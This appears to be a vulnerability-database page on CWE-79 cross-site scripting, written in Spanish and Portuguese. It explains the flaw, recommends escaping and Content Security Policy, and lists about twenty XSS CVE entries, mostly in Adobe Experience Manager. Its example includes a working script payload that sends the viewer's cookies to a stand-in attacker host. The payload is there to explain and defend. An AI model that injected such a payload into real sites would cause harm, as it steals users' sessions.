Fallos del tipo CWE-79

29.039 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-48446MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48524MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48497MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.6%CVE-2024-0181LOWRRJ Nueva Ecija Engineer Online Portal Admin Panel admin_user.php cross site scriptingEPSS 0.6%CVE-2023-0312HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.6%CVE-2023-48483MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2022-1076MEDIUMAutomatic Question Paper Generator System My Account Page login.php cross site scriptingEPSS 0.6%CVE-2023-48531MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2024-0773LOWCodeAstro Internet Banking System pages_client_signup.php cross site scriptingEPSS 0.6%CVE-2023-3890LOWCampcodes Beauty Salon Management System edit-accepted-appointment.php cross site scriptingEPSS 0.6%CVE-2021-44855MEDIUMAn issue was discovered in MediaWiki before 1.35.5, 1.36.x before 1.36.3, and 1.37.x before 1.37.1. There is Blind Stored XSS via a URL to tEPSS 0.6%CVE-2023-48528MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-3886LOWCampcodes Beauty Salon Management System invoice.php cross site scriptingEPSS 0.6%CVE-2023-23635MEDIUMIn Jellyfin 10.8.x through 10.8.3, the name of a collection is vulnerable to stored XSS. This allows an attacker to steal access tokens fromEPSS 0.6%CVE-2023-48484MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48445MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48532MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2026-59238MEDIUMStored XSS in Pentestify via unsanitized finding images and report client logoEPSS 0.6%CVE-2023-48447MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.6%CVE-2023-48493MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%